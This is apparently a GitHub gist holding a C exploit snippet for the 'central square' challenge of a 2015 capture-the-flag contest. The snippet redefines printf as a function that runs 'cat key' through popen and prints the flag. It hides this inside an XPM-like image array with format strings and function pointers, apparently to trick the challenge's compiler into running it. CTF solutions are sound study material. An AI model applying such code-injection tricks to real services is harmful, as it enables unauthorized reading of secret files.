Created
March 1, 2015 17:05
-
-
Save dwendt/5d7c753ac75e4a0a9fde to your computer and use it in GitHub Desktop.
bkpctf central square
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
extern int main(); | |
int lol() { | |
printf("ANIMEDAD GO\n"); | |
FILE* file = popen("cat key","r"); | |
// use fscanf to read: | |
char buffer[10000]; | |
while(fscanf(file, "%100s", buffer) != EOF) | |
printf("%s\n", buffer); | |
pclose(file); | |
return 0; | |
} | |
#define printf lol | |
static char *image[] = {"a c red", "500 500 1 1 ", "AAAAAAAAAAAAAA%s%s%s", &printf, &main}; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment